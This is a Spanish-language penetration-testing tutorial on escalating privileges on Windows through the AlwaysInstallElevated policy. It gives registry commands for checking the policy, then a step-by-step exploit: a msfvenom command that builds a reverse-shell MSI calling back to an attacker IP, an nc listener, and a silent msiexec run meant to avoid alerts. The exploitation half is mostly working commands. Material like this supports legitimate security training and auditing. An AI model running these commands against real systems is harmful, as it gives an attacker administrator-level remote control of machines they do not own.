AlwaysInstallElevated

La política Always Install Elevated es una configuración en Windows que permite a los usuarios estándar instalar aplicaciones con privilegios elevados. Cuando esta política está habilitada, cualquier instalación de aplicación iniciada por un usuario estándar se ejecuta con derechos administrativos, evitando así las solicitudes de Control de Cuentas de Usuario (UAC).

Comprobar que la política AlwaysInstallElevated esta habilitada

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"

Cómo funciona

Cuando la configuración Always Install Elevated está habilitada, ocurre lo siguiente:

  1. Elevación de Instalaciones:
    • Los usuarios estándar pueden instalar aplicaciones sin necesidad de proporcionar credenciales de administrador. Esto permite que los paquetes MSI se ejecuten automáticamente con permisos administrativos.
  2. Bypass de UAC:
    • El sistema no muestra el aviso de UAC, lo que reduce la visibilidad para el usuario y puede facilitar la instalación de software no autorizado o malicioso.

Explotación de Always Install Elevated: Creación y Ejecución de un MSI Malicioso

1. Generar un Paquete MSI Malicioso

Para aprovechar esta política, podemos crear un paquete MSI malicioso para obtener una reverse shell hacia nuetro equipo de atacante. Esto se puede hacer utilizando msfvenom. En este ejemplo, configuramos el host local LHOST como 192.168.56.5 y el puerto local LPORT como 4444.

El comando para generar el paquete MSI es:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f msi > shell.msi

2. Transferir el Archivo MSI al Objetivo

Una vez generado el archivo shell.msi, debemos transferirlo a la máquina objetivo. Podemos usar algunos métodos como:

  • Compartir archivos (por ejemplo, a través de SMB).
  • Subirlo a un servidor web y descargarlo en la máquina objetivo.
  • Copiarlo directamente si tienes acceso físico o remoto.

3. Configurar un Listener

El la máquina atacante nos ponemos en escucha con netcat por el puerto indicado, en este caso 4444.

rlwrap nc -lnvp 4444

4. Ejecutar el Paquete MSI en el Objetivo

En la máquina objetivo, ejecutamos el paquete MSI utilizando el comando msiexec. Para evitar alertas o interrupciones, usamos los parámetros /quiet y /qn, que ejecutan la instalación en modo silencioso:

msiexec /i C:\temp\shell.msi /quiet /qn /norestart